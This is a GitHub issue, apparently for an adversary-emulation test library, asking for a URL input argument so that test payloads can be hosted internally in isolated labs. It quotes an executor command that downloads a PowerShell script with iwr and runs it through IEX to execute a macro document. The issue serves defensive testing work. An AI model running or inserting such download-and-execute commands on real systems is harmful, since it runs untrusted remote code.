Skip to content

Add InputArgs Option for Invoke-WebRequest (iwr) URLs #214

@chrisanag1985

Description

@chrisanag1985

For Test Labs that are air-gapped/isolated networks, it is useful to havethe option of specifying an internal URL where the payloads are hosted (e.g. internal web server).

E.g.

The 1055 - Test Number 1

  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
      Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"

TO

  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "#{url_path}/Invoke-MalDoc.ps1" -UseBasicParsing)
      Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions